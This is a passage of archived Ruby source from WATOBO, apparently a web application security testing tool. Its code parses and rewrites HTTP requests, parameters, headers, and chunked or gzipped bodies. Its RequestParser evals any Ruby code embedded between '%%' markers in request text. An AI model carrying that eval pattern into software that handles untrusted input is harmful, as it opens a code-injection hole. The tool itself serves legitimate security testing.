/(^[^[:space:]]{1,}) /i then return $1 else return nil end end def method_get? return false if method.nil? return true if method =~ /^get$/i return false end def method_post? return false if method.nil? return true if method =~ /^post$/i return false end #The path may consist of a sequence of path segments separated by a #single slash "/" character. Within a path segment, the characters #"/", ";", "=", and "?" are reserved. Each path segment may include a #sequence of parameters, indicated by the semicolon ";" character. #The parameters are not significant to the parsing of relative #references. # # http://www.mysite.com:80/my/path/show.php?p=aaa&debug=true # path = "my/path/show.php" def path if self.first =~ /^[^[:space:]]{1,} [a-zA-Z]+:\/\/[\-0-9a-zA-Z.]*[:0-9]{0,6}\/([^\?]*).* HTTP/i then return $1 else return "" end end # path_ext = "my/path/show.php?p=aaa&debug=true" def path_ext if self.first =~ /^[^[:space:]]{1,} [a-zA-Z]+:\/\/[\-0-9a-zA-Z.]*[:0-9]{0,6}\/(.*) HTTP\//i then return $1 else return "" end end def dir if self.first =~ /^[^[:space:]]{1,} [a-zA-Z]+:\/\/[\-0-9a-zA-Z.]*[:0-9]{0,6}\/([^\?]*)\/.* HTTP/i then return $1 else return "" end end def query begin q = nil if self.first =~ /^[^[:space:]]{1,} (.*) HTTP.*/ then uri = $1 end off = uri.index('?') #parts.shift # puts "HTTPParser.query: #{parts.join('?')}" return "" if off.nil? return uri[off+1..-1] rescue => bang puts "!!! Could not parse query !!!" puts bang puts bang.backtrace if $DEBUG end return '' end def element cl = self.first.gsub(/\?+/, "?") cl.gsub!(/ HTTP.*/, '') dummy = cl.split('?').first if dummy =~ /^[^[:space:]]{1,} ([a-zA-Z]+:\/\/[\-0-9a-zA-Z.]*[:0-9]{0,6}).*\/(.*)/i then return $2 else return "" end end def doctype /.*\/.*?\.(\w{2,4})(\?| )/.match(self.first) # puts $1 return $1 unless $1.nil? return '' #dummy = self.first.gsub(/\?+/,"?") #parts = dummy.split('?') #parts[0].gsub!(/ HTTP\/(.*)/i,"") #if parts[0] =~ /(.*\.)(\w{2,3})$/i then # return $2 #else # return '' #end end def proto proto = "unknown" if self.first =~ /^[^[:space:]]{1,} ([a-zA-Z]+):\/\//i proto = $1 end proto end def is_ssl? return true if self.first =~ /^[^[:space:]]{1,} https/i return false end def is_chunked? self.each do |h| return true if h =~ /^Transfer-Encoding.*chunked/i break if h.strip.empty? end return false end def url_string url = '' #return @url unless @url.nil? if self.first =~ /^[^[:space:]]{1,} ([a-zA-Z]+:\/\/[\-0-9a-zA-Z.]*[:0-9]{0,6}.*) HTTP\//i then url = $1 end url end # alias :url :url_string def site #@site ||= nil #return @site unless @site.nil? if self.first =~ /^[^[:space:]]{1,} ([a-zA-Z]+):\/\/([\-0-9a-zA-Z.]*)([:0-9]{0,6})/i then host = $2 port_extension = $3 proto = $1 s = host + port_extension if port_extension == '' s = host + ":" + DEFAULT_PORT_HTTPS.to_s if proto =~ /^https$/i s = host + ":" + DEFAULT_PORT_HTTP.to_s if proto =~ /^http$/i end @site = s else @site = nil end @site end def host #@host ||= nil #return @host unless @host.nil? #if self.first =~ /^[^[:space:]]{1,} https?:\/\/([\-0-9a-zA-Z.]*)[:0-9]{0,6}/i then if self.first =~ /^[^[:space:]]{1,} [a-zA-Z]+:\/\/([\-0-9a-zA-Z.]*)[:0-9]{0,6}/i then @host = $1 else @host = '' end @host end # returns all subdir combinations # www.company.com/this/is/my/path.php # returns: # [ "/this", "/this/is", "/this/is/my" ] def subDirs sub_dirs = self.dir.split(/\//) dir = "" sub_dirs.map! do |d| dir += "/" + d; end return sub_dirs end def port return nil if self.first.nil? dummy = self.first portnum = nil parts = dummy.split('?') if parts[0] =~ /^[^[:space:]]{1,} https:\/\//i then portnum = 443 elsif parts[0] =~ /^[^[:space:]]{1,} http:\/\//i portnum = 80 end if parts[0] =~ /^[^[:space:]]{1,} https?:\/\/[\-0-9a-zA-Z.]*:([0-9]{0,6})/i then portnum = $1 end return portnum end # get_parms returns an array of parm=value def get_parms begin off = self.first.index('?') return [] if off.nil? eop = self.first.index(' HTTP/') return [] if eop.nil? parms = self.first[off+1..eop-1].split('&').select { |x| x =~ /=/ } # puts parms return parms rescue => bang puts bang puts bang.backtrace if $DEBUG end return [] #parmlist=[] #if self.first =~ /^[^[:space:]]{1,} (https?:\/\/[\-0-9a-zA-Z.]*[:0-9]{0,6}).*\/.*(\?.*=.*) HTTP/i then # dummy = $2.gsub!(/\?+/,"?").split('?') # remove left part of ? from url # dummy.shift # parmlist=dummy.join.split(/\&/) #end #return parmlist end #################### doubles def get_parm_names(&block) parm_names=[] parmlist=[] parmlist.concat(get_parms) parmlist.each do |p| if p then p.gsub!(/=.*/, '') yield p if block_given? parm_names.push p end end return parm_names end def get_parm_value(parm_name) parm_value = "" self.get_parms.each do |parm| if parm =~ /^#{Regexp.quote(parm_name)}=/i then dummy = parm.split(/=/) if dummy.length > 1 then # parm_value=dummy[1].gsub(/^[ ]*/,"") parm_value=dummy[1].strip end end end return parm_value end def post_parm_value(parm_name) parm_value="" self.post_parms.each do |parm| if parm =~ /#{Regexp.quote(parm_name)}/i then dummy = parm.split(/=/) if dummy.length > 1 then parm_value = dummy[1].strip else # puts "Uhhhh ... need parameter value from '#{parm}''" end end end return parm_value end end module Web10 include Watobo::Constants def post_parms parmlist=[] return parmlist unless has_body? parms = self.last.force_encoding('ASCII-8BIT') begin if parms =~ /\=.*\&?/i parmlist = parms.split(/\&/) parmlist.map! { |p| x = p.strip.empty? ? nil : p } parmlist.compact! end rescue => bang # puts self.last.unpack("C*").pack("C*").gsub(/[^[:print:]]/,".") if $DEBUG puts bang puts bang.backtrace end end return parmlist end def parms parmlist=[] parmlist.concat(get_parms) parmlist.concat(post_parms) return parmlist end def parm_names parm_names=[] parmlist=[] parmlist.concat(get_parms) parmlist.concat(post_parms) parmlist.each do |p| p.gsub!(/=.*/, '') parm_names.push p end return parm_names end def post_parm_names(&block) parm_names=[] parmlist=[] parmlist.concat(post_parms) parmlist.each do |p| if p then p.gsub!(/=.*/, '') p.strip! yield p if block_given? parm_names << p end end return parm_names end def header_value(header_name) header_values =[] self.headers.each do |header| begin if header =~ /^#{header_name}/i then vstart = header.index ':' unless vstart.nil? header_values.push header[vstart+1..-1].strip end end rescue => bang puts bang puts bang.backtrace if $DEBUG end end return header_values end def content_type(default_ct='undefined') ct = default_ct self.each do |line| begin break if line.strip.empty? #cl = line.encode('ASCII', :invalid => :replace, :undef => :replace) cl = line.force_encoding('ASCII-8BIT') if cl =~ /^Content-Type:([^;]*);?/i then ct = $1 break end rescue => bang puts "! could not parse content_type !" puts bang puts cl # puts cl.gsub(/[^[:print:]]/, '.') end end return ct.strip end def content_type_ex(default_ct='undefined') ct = default_ct self.each do |line| break if line.strip.empty? # cl = line.encode('ASCII', :invalid => :replace, :undef => :replace) cl = line.force_encoding('ASCII-8BIT') if cl =~ /^Content-Type:(.*)/i then ct = $1.strip break end end return ct.strip end def content_length # Note: Calculate Chunk-Encoded Content-Length # this is only possible if the whole body is loaded??? ct = -1 self.each do |line| break if line.strip.empty? if line =~ /^Content-Length:(.*)/i then ct = $1.strip.to_i break end end return ct end def content_encoding te = TE_NONE self.each do |line| break if line.strip.empty? if line =~ /^Content-Encoding:(.*)/i then dummy = $1.strip # puts "Content-Encoding => #{dummy}" te = case dummy when /chunked/i TE_CHUNKED when /compress/i TE_COMPRESS when /zip/i TE_GZIP when /deflate/i TE_DEFLATE when /identity/i TE_IDENTITY else TE_NONE end break end end return te end def transferEncoding te = TE_NONE self.each do |line| break if line.strip.empty? if line =~ /^Transfer-Encoding:(.*)/i then dummy = $1.strip # puts dummy te = case dummy when 'chunked' TE_CHUNKED when 'compress' TE_COMPRESS when 'zip' TE_GZIP when 'deflate' TE_DEFLATE when 'identity' TE_IDENTITY else TE_NONE end break end end return te end alias :transfer_encoding :transferEncoding def contentMD5 b = self.body.nil? ? "" : self.body hash = Digest::MD5.hexdigest(b) return hash end # def get_parm_value(parm_name) # parm_value = "" # self.get_parms.each do |parm| # if parm =~ /^#{Regexp.quote(parm_name)}=/i then # dummy = parm.split(/=/) # if dummy.length > 1 then # # parm_value=dummy[1].gsub(/^[ ]*/,"") # parm_value=dummy[1].strip # end # end # end # return parm_value # end def post_parm_value(parm_name) parm_value="" self.post_parms.each do |parm| if parm =~ /#{Regexp.quote(parm_name)}/i then dummy = parm.split(/=/) if dummy.length > 1 then parm_value = dummy[1].strip else # puts "Uhhhh ... need parameter value from '#{parm}''" end end end return parm_value end def has_body? self.body.nil? ? false : true end def __connection_close? headers("Connection") do |h| return true if h =~ /close/i end return false end def connection_close? headers("Connection") do |h| return false if h =~ /keep\-alive/i end return true end def has_header?(name) self.each do |l| return false if l.strip.empty? return true if l =~ /^#{name}:/i end return false end def body begin return nil if self.nil? or self.length < 3 return "#{self.last}" if self[-2].strip.empty? rescue return nil end nil end def is_text? ct = self.content_type(nil) if ct.nil? return true if self.body_encoded.ascii_only? return false else return true if ct =~ /text/i return false end end def is_wwwform? ct = self.content_type return true if ct =~ /form/i return false end def is_json? ct = self.content_type return true if ct =~ /\/json/i return false end def is_xml? ct = self.content_type return true if ct =~ /xml/i return false end def is_multipart? ct = self.content_type return true if ct =~ /^multipart/i return false end def body_encoded b = self.body return nil if b.nil? cs = self.charset return b.unpack("C*").pack("C*") if cs.nil? begin # not sure if this is a good idea??? #return b.encode(cs, :invalid => :replace, :undef => :replace, :replace => '').unpack("C*").pack("C*") rescue => bang if $DEBUG puts bang puts bang.backtrace end end return b.unpack("C*").pack("C*") end def status_code if self.first =~ /^HTTP\/... (\d+) / return $1 else return nil end end alias :responseCode :status_code # returns array of new cookies # Set-Cookie: mycookie=b41dc9e55d6163f78321996b10c940edcec1b4e55a76464c4e9d25e160ac0ec5b769806b; Path=/ def new_cookies(&b) nc = [] headers("Set-Cookie") do |h| cookie = Watobo::Cookie.new(h) yield cookie if block_given? nc << cookie end nc end def status begin # Filter bad utf-8 chars dummy = self.first.nil? ? '' : self.first.unpack("C*").pack("C*") if dummy =~ /^HTTP\/1\.\d{1,2} (.*)/i then return $1.chomp else return '' end rescue => bang if $DEBUG puts "! No Status Available !".upcase puts bang puts bang.backtrace end return nil end end def charset cs = nil self.each do |line| break if line.strip.empty? if line =~ /^Content-Type: .*charset=([^;]*)/i then cs = $1.strip break end end return cs end def headers(filter=nil, &b) begin filter = '.*' if filter.nil? header_list=[] self.each do |line| cl = line.force_encoding('ASCII-8BIT') return header_list if cl.strip.empty? if cl =~ /#{filter}/ yield line if block_given? header_list.push line end end return header_list rescue => bang puts bang puts bang.backtrace if $DEBUG puts bang.backtrace puts self.to_yaml binding.pry if binding.respond_to? :pry end return nil end end end end end endwatobo-1.0.1/lib/watobo/mixins/request_parser.rb000077500000000000000000000233551366346341400217720ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Mixins # This mixin can be used to parse a String or any object which supports method.to_s into a valid http request string module RequestParser # This method parses (eval) ruby code which is included in the string. # Ruby code is identified by its surrounding delimiters - default: '%%'. # For examples the string 'ABC%%"_"*10%%DEFG' will result to 'ABC__________DEFG' # # Possible prefs: # # :code_dlmtr [String] - set ruby code delimiter # # returns nil on parse error def parse_code(prefs={}) cprefs = { :code_dlmtr => '%%' } # default delimiter for ruby code cprefs.update(prefs) #pattern="(#{cprefs[:code_dlmtr]}.*?#{cprefs[:code_dlmtr]})" pattern = cprefs[:code_dlmtr] request = self.to_s expression = "" begin # puts new_request expr = '' pos = 0 off = 0 match = [] code_marks = [] while pos >= 0 and pos < request.length code_offset = request.index(pattern, pos) unless code_offset.nil? new_line_index = request.index("\n", pos) unless new_line_index.nil? if new_line_index < code_offset # new_request << request[match[0]..code_offset-1] unless match.empty? match = [] # pos = code_offset end end match << code_offset if match.length == 2 code_marks << match.dup match = [] end pos = code_offset + pattern.length else break end end new_request = '' unless code_marks.empty? code_marks.each_with_index do |cm,i| #puts cm.to_yaml last = i > 0 ? ( code_marks[i-1][1] + pattern.length ) : 0 new_request << request[last..cm[0]-1] if cm[0] > 0 exp_start = cm[0] + pattern.length exp_end = cm[1] - 1 expression = request[exp_start..exp_end] expression.strip! next if expression.empty? puts "DEBUG: executing: #{expression}" if $DEBUG #result = expression.empty? ? "" : eval("#{expression}") result = eval(expression) puts "DEBUG: got #{result.class}" if $DEBUG if result.is_a? File data = result.read result.close elsif result.is_a? String data = result elsif result.is_a? Array data = result.join else puts "!!!WATOBO - expression must return String or File !!!" end new_request << data end new_request << request[code_marks.last[1]+pattern.length..-1] unless code_marks.last[1] >= request.length-1 else new_request = request end return new_request rescue SyntaxError, LocalJumpError, NameError => e # raise SyntaxError, "SyntaxError in '#{expression}'" puts e puts e.backtrace end return nil end def to_request(opts={}) options = { :update_content_length => false } options.update opts body = nil begin text = parse_code return nil if text.nil? request = [] eoh = nil eoh = text.index("\n\n") unless text.nil? unless eoh.nil? header = text.slice(0, eoh).split("\n").map{|h| "#{h.strip}\r\n"} body = text.slice(eoh+2, text.length-1) else header = text.split(/\n/).map{|h| "#{h}\r\n"} body = nil end request.concat header #Watobo::Request.create request request = Watobo::Request.new(request) ct = request.content_type_ex # last line is without "\r\n" if text has a body if ct =~ /multipart/ and body then #Content-Type: multipart/form-data; boundary=---------------------------3035221901842 if ct =~ /boundary=([\-\w]+)/ boundary = $1.strip chunks = body.split(/--#{boundary}[\-]{0,2}[\r\n]{0,2}/) #chunks.pop # remove "--" #puts "Multipart request has #{chunks.length} chunks" new_body = [] chunks.each do |c| new_chunk = '' #c.gsub!(/[\-]+$/,'') next if c.nil? next if c.strip.empty? #c.strip! if c =~ /\n\n/ ctmp = c.split(/\n\n/) cheader = ctmp.shift.split(/\n/) cbody = ctmp.join("\n\n") else cheader = c.split(/\n/) cbody = nil end new_chunk = cheader.join("\r\n") new_chunk += "\r\n\r\n" new_chunk += cbody.strip + "\r\n" if cbody # puts cbody new_body.push new_chunk end body = "--#{boundary}\r\n" body << new_body.join("--#{boundary}\r\n") body << "--#{boundary}--\r\n" end # body.gsub!(/\n/, "\r\n") if body end unless body.nil? request.push "\r\n" # don't strip body! Some requests need a CRLF at the end, e.g. Response Smuggling request.push body #.strip end request.fixupContentLength() if options[:update_content_length] == true return request rescue => bang puts bang puts bang.backtrace raise bang end #return nil end def to_response(opts={}) options = { :update_content_length => false } options.update opts begin text = parse_code result = [] if text =~ /\n\n/ dummy = text.split(/\n\n/) header = dummy.shift.split(/\n/) body = dummy.join("\n\n") else header = text.split(/\n/) body = nil end header.each do |h| result.push "#{h}\r\n" end #Watobo::Response.create result result = Watobo::Response.new(result) if body then result.push "\r\n" result.push body.strip end result.fixupContentLength() if options[:update_content_length] == true puts ">>" puts result return result rescue => bang puts bang puts bang.backtrace raise bang end #return nil end def to_request_UNUSED(opts={}) options = { :update_content_length => false } options.update opts begin text = parse_code result = [] if text =~ /\n\n/ dummy = text.split(/\n\n/) header = dummy.shift.split(/\n/) body = dummy.join("\n\n") else header = text.split(/\n/) body = nil end header.each do |h| result.push "#{h}\r\n" end # result.extend Watobo::Mixin::Parser::Url # result.extend Watobo::Mixin::Parser::Web10 # result.extend Watobo::Mixin::Shaper::Web10 #Watobo::Request.create result result = Watobo::Request.new(result) ct = result.content_type # last line is without "\r\n" if text has a body if ct =~ /multipart\/form/ and body then #Content-Type: multipart/form-data; boundary=---------------------------3035221901842 if ct =~ /boundary=([\-\w]+)/ boundary = $1.strip chunks = body.split(boundary) e = chunks.pop # remove "--" new_body = [] chunks.each do |c| new_chunk = '' c.gsub!(/[\-]+$/,'') next if c.nil? next if c.strip.empty? c.strip! if c =~ /\n\n/ ctmp = c.split(/\n\n/) cheader = ctmp.shift.split(/\n/) cbody = ctmp.join("\n\n") else cheader = c.split(/\n/) cbody = nil end new_chunk = cheader.join("\r\n") new_chunk += "\r\n\r\n" new_chunk += cbody.strip + "\r\n" if cbody # puts cbody new_body.push new_chunk end body = "--#{boundary}\r\n" body += new_body.join("--#{boundary}\r\n") body += "--#{boundary}--" end # body.gsub!(/\n/, "\r\n") if body end if body then result.push "\r\n" result.push body.strip end result.fixupContentLength() if options[:update_content_length] == true return result rescue raise end #return nil end end end end if $0 == __FILE__ inc_path = File.expand_path(File.join(File.dirname(__FILE__), "..", "..", "..","lib")) $: << inc_path require 'watobo' text =<<'EOF' %%"GET"%% http://www.siberas.de/ HTTP/1.1 Content-Type: text/html %%"x"*10%%Vary: Accept-Encoding Expires: Thu, 19 Jul 2012 06:57:20 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Thu, 19 Jul 2012 06:57:20 GMT Content-Length: 203 Connection: close%%"XXXX"%% EOF text.strip! puts text puts puts "===" puts text.extend Watobo::Mixins::RequestParser puts text.to_request Watobo::Utils.hexprint text end watobo-1.0.1/lib/watobo/mixins/shapers.rb000077500000000000000000000346701366346341400203750ustar00rootroot00000000000000# @private module Watobo #:nodoc: all module Mixin module Shaper module Web10 include Watobo::Constants def replace_post_parm(parm, value) parm_quoted = Regexp.quote(parm) self.last.gsub!(/([?&]{1}|^)#{parm_quoted}=([^&]*)(&{0,1})/i, "\\1#{parm}=#{value}\\3") end def replace_get_parm(parm, value) parm_quoted = Regexp.quote(parm) self.first.gsub!(/([?&]{1})#{parm_quoted}=([^ &]*)(&{0,1})/i, "\\1#{parm}=#{value}\\3") end def replaceMethod(new_method) self.first.gsub!(/^[^[:space:]]{1,}/i, "#{new_method}") end def replaceFileExt(new_file) begin file = new_file.strip file.gsub!(/^\//, "") self.first.gsub!(/([^\?]*\/)(.*) (HTTP.*)/i, "\\1#{file} \\3") rescue => bang puts bang end end def replaceElement(new_element) new_element.gsub!(/^\//, "") self.first.gsub!(/([^\?]*\/)(.*) (HTTP.*)/i, "\\1#{new_element} \\3") end def replaceURL(new_url) self.first.gsub!(/(^[^[:space:]]{1,}) (.*) (HTTP.*)/i, "\\1 #{new_url} \\3") end def replaceQuery(new_query) new_query.gsub!(/^\//, "") self.first.gsub!(/(.*\/)(.*) (HTTP.*)/i, "\\1#{new_query} \\3") end def strip_path() self.first.gsub!(/([^\?]*\/)(.*) (HTTP.*)/i, "\\1# \\3") end def setDir(dir) dir.strip! dir.gsub!(/^\/+/, "") dir.gsub!(/\/+$/, "") dir << '/' unless dir.empty? self.first.gsub!(/(^[^[:space:]]{1,} https?:\/\/[\-0-9a-zA-Z.]*[:0-9]{0,6}\/)(.*)( HTTP\/.*)/, "\\1#{dir}\\3") end def set_path(path) path.strip! path.gsub!(/^\/+/, "") self.first.gsub!(/(^[^[:space:]]{1,} https?:\/\/[\-0-9a-zA-Z.]*[:0-9]{0,6}\/)(.*)( HTTP\/.*)/, "\\1#{path}\\3") end # # set a new file extension, e.g. mysite.html to mysite.php # if no extension nor a file is given, the new extension will only be appended # note: the first leading dot will be removed # possible preferences are: # :keep_query => keeps query parameters # default-set is empty def set_file_extension(nxt, *prefs) return self.first if nxt.nil? nxt.gsub!(/^\./, '') s = "#{self.first}" fend = nil pend = nil pstart = s.index('?') pend = s.rindex(/ HTTP\//) fend = (pstart - 1) unless pstart.nil? fend = (pend - 1) if fend.nil? return self.first if fend.nil? fstart = s.rindex('/', fend) unless s[fstart-1] == '/' fstart += 1 unless fstart.nil? else fstart = fend end fname = s[fstart..fend] fname.gsub!(/\..*/, '') fname << ".#{nxt}" ns = s[0..fstart-1] ns << fname if prefs.include? :keep_query unless pstart.nil? ns << s[pstart..pend] end end ns << s[pend..-1] self.first.replace ns end def appendDir(dir) dir.strip! dir.gsub!(/^\//, "") dir << "/" unless dir =~ /\/$/ self.first.gsub!(/(^[^[:space:]]{1,} https?:\/\/[\-0-9a-zA-Z.]*[:0-9]{0,6}.*\/).*( HTTP\/.*)/, "\\1#{dir}\\2") end def add_post_parm(parm, value) unless self.has_body? # if we don't have a body we have to create one line = '' self.push "\r\n" else line = self.pop end line << '&' unless line.empty? line << "#{parm}=#{value}" self.push line end def add_get_parm(parm, value) line = self.shift new_p = "&" new_p = "?" unless line =~ /\?/ new_p += parm line.gsub!(/( HTTP\/.*)/, "#{new_p}=#{value}\\1") self.unshift(line) end def addHeader(header, value) self_copy = [] self_copy.concat(self.headers) self_copy.push "#{header}: #{value}\r\n" unless self.body.nil? self_copy.push "\r\n" #self_copy.concat(self.body) self_copy.push self.body end self.replace(self_copy) end alias_method :add_header, :addHeader def removeURI if self.first =~ /(^[^[:space:]]{1,}) (https?:\/\/[\-0-9a-zA-Z.]*[:0-9]{0,6}\/)/ then uri = $2 self.first.gsub!(/(^[^[:space:]]{1,}) (#{Regexp.quote(uri)})/, "\\1 /") # puts "* Removed URI: #{uri}" # puts self.first return uri else return nil end #self.first.gsub!(/^(.*)(https?:\/\/[\-0-9a-zA-Z.]*[:0-9]{0,6}\/)/,"\\1/") end def removeBody self.pop if self[-2].strip.empty? end def set_body(content) if self[-2].strip.empty? self.pop else self << "\r\n" end self << content end def rewrite_body(pattern, content) if self.has_body? #puts "rewrite_body ... #{pattern} - #{content}" b = self.pop b.gsub!(/#{pattern}/i, content) self << b end end def restoreURI(uri) if self.first =~ /(^[^[:space:]]{1,}) \/(.*) (HTTP\/.*)/ then method = $1 rest = $2 http = $3.strip #self.first.gsub!(/^\w*/, "#{method} #{uri}#{rest}") self.shift self.unshift "#{method} #{uri}#{rest} #{http}\r\n" return self.first else return nil end #self.first.gsub!(/^(.*)(https?:\/\/[\-0-9a-zA-Z.]*[:0-9]{0,6}\/)/,"\\1/") end # # R E M O V E _ H E A D E R # def removeHeader(header) begin while i = headers.index {|h| h =~ /#{header}/i} self.delete_at i end rescue => bang puts bang puts bang.backtrace if $DEBUG puts self puts "=====" end end alias_method :remove_header, :removeHeader # removeUrlParms # Function: Remove all parameter within the URL # def removeUrlParms line = self.shift return false if line.nil? new_line = "#{line}" # get end-of-path-index eop_index = line.rindex(/[^ HTTP]\//) # get start of parms sop_index = line.index(/(\?|&)/, eop_index) # find end-of-url eou_index = line.index(/ HTTP/) unless sop_index.nil? or eou_index.nil? new_line = line[0..sop_index-1] new_line += line[eou_index..-1] end self.unshift new_line end def removeCookies begin pattern = '^Cookie' while i = headers.index {|h| h =~ /#{pattern}/i} #puts "* remove #{self[i]}" self.delete_at i end rescue => bang puts bang if $DEBUG puts bang.backtrace puts self end end end def removeHeader_OLD(header) # p "REMOVE HEADER: #{header}" begin self_copy = [] eoh = false self.each do |line| puts self if line.nil? if not eoh == true then if not line =~ /#{header}/i self_copy.push line unless line.nil? end else self_copy.push line unless line.nil? end if line and line.strip.empty? then eoh = true end end self.replace(self_copy) rescue => bang puts bang puts bang.backtrace if $DEBUG puts self puts "=====" end end def replace_header(header, value) end def fix_session(pattern, value) end def fix_content_length return false if self.body.nil? # had trouble with length calculation of binary data in multipart request blen = self.body.force_encoding("ASCII-8BIT").length set_header("Content-Length", blen) end def fixupContentLength_UNUSED te = self.transferEncoding if te == TE_CHUNKED then # puts "Transfer-Encoding = TE_CHUNKED" # puts self.body self.removeHeader("Transfer-Encoding") self.addHeader("Content-Length", "0") new_r = [] new_r.concat self.headers new_r.push "\r\n" bytes_to_read = 0 body = [] is_new_chunk = false off = 0 new_body = '' body_orig = self.body puts body_orig.class while body_orig[off..-1] =~ /^([0-9a-fA-F]{1,6})\r\n/ len_raw = "#{$1}" len = len_raw.hex chunk_start = off + len_raw.length + 2 chunk_end = chunk_start + len break if len == 0 new_body.chomp! new_body += "#{body_orig[chunk_start..chunk_end]}" off = chunk_end + 2 end new_r.push new_body self.replace(new_r) self.fix_content_length # puts "= FIXED =" # puts self.headers elsif te == TE_NONE then self.fix_content_length end end def fixupContentLength self.unchunk self.fix_content_length end def setRawQueryParms(parm_string) return nil if parm_string.nil? return nil if parm_string == '' new_r = "" path = Regexp.quote(self.path) #puts path if self.first =~ /(.*#{path})/ then new_r = $1 << "?" << parm_string end self.first.gsub!(/(.*) (HTTP\/.*)/, "#{new_r} \\2") end def appendQueryParms(parms) return if parms.nil? return if parms == '' puts self.first puts self.file_ext pref = (self.file_ext =~ /\?/) ? '&' : '?' puts "append query parms" self.first.gsub!(/(.*) (HTTP\/.*)/, "\\1#{pref}#{parms} \\2") end def set_content_length(length) set_header("Content-Length", length) end def set_content_type(ctype) set_header("Content-Type", ctype) end def set_header(header, value) begin new_header = "#{header}: #{value}\r\n" self.each_with_index do |h, i| if h =~ /^#{Regexp.quote(header)}:/i self[i] = new_header return true end if h.strip.empty? or i == self.length-1 self.insert(i, new_header) return true end end rescue => bang puts bang end return false end alias :setHeader :set_header # sets post data def setData(data) return if data.nil? if self.has_body? self.pop self.push data else self.push("\r\n") self.push data end end alias :setBody :setData def setMethod(method) m = method.is_a?(Symbol) ? method.to_s.upcase : method self.first.gsub!(/(^[^[:space:]]{1,}) /, "#{m} ") end alias_method :set_method, :setMethod alias :method= :setMethod def setHTTPVersion(version) self.first.gsub!(/HTTP\/(.*)$/, "HTTP\/#{version}") # puts "HTTPVersion fixed: #{self.first}" end end module HttpResponse include Watobo::Constants def unchunk! return false unless self.has_body? unchunked = self.unchunk self.replace(unchunked) self.fix_content_length end def unchunk return Response.new(self) unless self.has_body? if self.transfer_encoding == TE_CHUNKED then self.removeHeader("Transfer-Encoding") self.addHeader("Content-Length", "0") new_r = [] new_r.concat self.headers new_r.push "\r\n" bytes_to_read = 20 body = [] is_new_chunk = false off = 0 new_body = '' body_orig = self.body pattern = '[0-9a-fA-F]+\r?\n' while off >= 0 and off < body_orig.length chunk_pos = body_orig.index(/(#{pattern})/, off) len_raw = $1 unless chunk_pos.nil? len = len_raw.strip.hex chunk_start = chunk_pos + len_raw.length chunk_end = chunk_start + len break if len == 0 chunk = "#{body_orig[chunk_start..chunk_end]}" new_body += chunk.chomp off = chunk_end end end new_r.push new_body return Watobo::Response.new new_r end return Response.new(self) end def unzip! if self.content_encoding == TE_GZIP or self.transfer_encoding == TE_GZIP if self.has_body? unziped = self.unzip_body self[-1] = unziped self.removeHeader("Transfer-Encoding") if self.transfer_encoding == TE_GZIP self.removeHeader("Content-Encoding") if self.content_encoding == TE_GZIP self.fix_content_length end end end def unzip if self.content_encoding == TE_GZIP or self.transfer_encoding == TE_GZIP if self.has_body? unzipped = Response.new(self) unzipped.unzip! return unzipped end end return Response.new(self) end def unzip_body begin if self.has_body? gziped = self.last gz = Zlib::GzipReader.new(StringIO.new(gziped)) data = gz.read return data end rescue => bang puts bang end end end end end end watobo-1.0.1/lib/watobo/mixins/transcoders.rb000077500000000000000000000027151366346341400212520ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Mixin module Transcoders def url_encode CGI::escape(self) end def url_decode CGI::unescape(self) end def b64decode err_count = 0 begin b64string = self.force_encoding('ASCII-8BIT') #rs = Base64.strict_decode64(b64string) # using regular decode64 because of JWT (JSON Web Tokens) decoding rs = Base64.decode64(b64string) return rs rescue #b64string.gsub!(/.$/,'') #err_count += 1 #retry if err_count < 4 return self.to_s end end def b64encode begin plain = self.force_encoding('ASCII-8BIT') #rs = Base64.strict_encode64(plain) rs = Base64.strict_encode64(plain) # we only need a simple string without linebreaks #rs.gsub!(/\n/,'') #rs.strip! return rs rescue return self.to_s end end def hex2int begin plain = self.strip if plain =~ /^[0-9a-fA-F]{1,8}$/ then return plain.hex else return "" end rescue return "" end end def hexencode begin self.unpack("H*")[0] rescue return "" end end def hexdecode [ self ].pack("H*") end end end end watobo-1.0.1/lib/watobo/parser.rb000066400000000000000000000000351366346341400166760ustar00rootroot00000000000000require 'watobo/parser/html' watobo-1.0.1/lib/watobo/parser/000077500000000000000000000000001366346341400163535ustar00rootroot00000000000000watobo-1.0.1/lib/watobo/parser/html.rb000066400000000000000000000035631366346341400176530ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Parser module HTML class Form def input_fields(&block) if block_given? @input_fields.each do |field| yield field end end @input_fields end def initialize(form_css) @form = form_css @input_fields = [] @form.css('input').each do |i| @input_fields << InputField.new(i) end end end class InputField attr :id attr :value attr :name # attr :autocomplete def to_www_form_parm() Watobo::WWWFormParameter.new(:name => @name, :value => @value) end def to_url_parm() Watobo::UrlParameter.new(:name => @name, :value => @value) end def initialize(input_css) @css = input_css @id = input_css["id"].nil? ? "" : input_css["id"] @value = input_css["value"].nil? ? "" : input_css["value"] @name = input_css["name"].nil? ? "" : input_css["name"] #@autocomplete = input_css["autocomplete"] end def method_missing(name, *args, &block) @css[name.to_s].nil? ? "" : input_css[name.to_s] end end class Links end def links(&block) end def input_fields(&block) fields = [] forms do |form| form.input_fields do |field| yield field if block_given? fields << field end end fields end def forms(&block) fs = [] doc = Nokogiri::HTML(self.body) doc.css('form').each do |f| fo = Form.new(f) yield fo if block_given? end fs end end end endwatobo-1.0.1/lib/watobo/patch_fxruby_setfocus.rb000077500000000000000000000010301366346341400220120ustar00rootroot00000000000000# Work around error 'FXComposeContext: illegal window parameter' # in FXWindow#setFocus of some libfox versions. class Fox::FXWindow def setFocus #app.addChore do #app.runOnUiThread do Watobo.save_thread do super end end end class Fox::FXDialogBox def setFocus #app.addChore do #app.runOnUiThread do Watobo.save_thread do super end end end class Fox::FXTextField def setFocus #app.addChore do #app.runOnUiThread do Watobo.save_thread do super end end end watobo-1.0.1/lib/watobo/plugin_loader.rb000066400000000000000000000001231366346341400202240ustar00rootroot00000000000000require 'watobo' require File.join(Watobo.plugin_path, '..','dev','plugin_loader')watobo-1.0.1/lib/watobo/sockets.rb000066400000000000000000000001251366346341400170550ustar00rootroot00000000000000%w( client_socket http_socket ).each do |lib| require "watobo/sockets/#{lib}" end watobo-1.0.1/lib/watobo/sockets/000077500000000000000000000000001366346341400165325ustar00rootroot00000000000000watobo-1.0.1/lib/watobo/sockets/agent.rb000066400000000000000000000655241366346341400201710ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module HTTPSocket class Agent_UNUSED include Watobo::Constants extend Watobo::Subscriber def runLogin(chat_list, prefs={}) 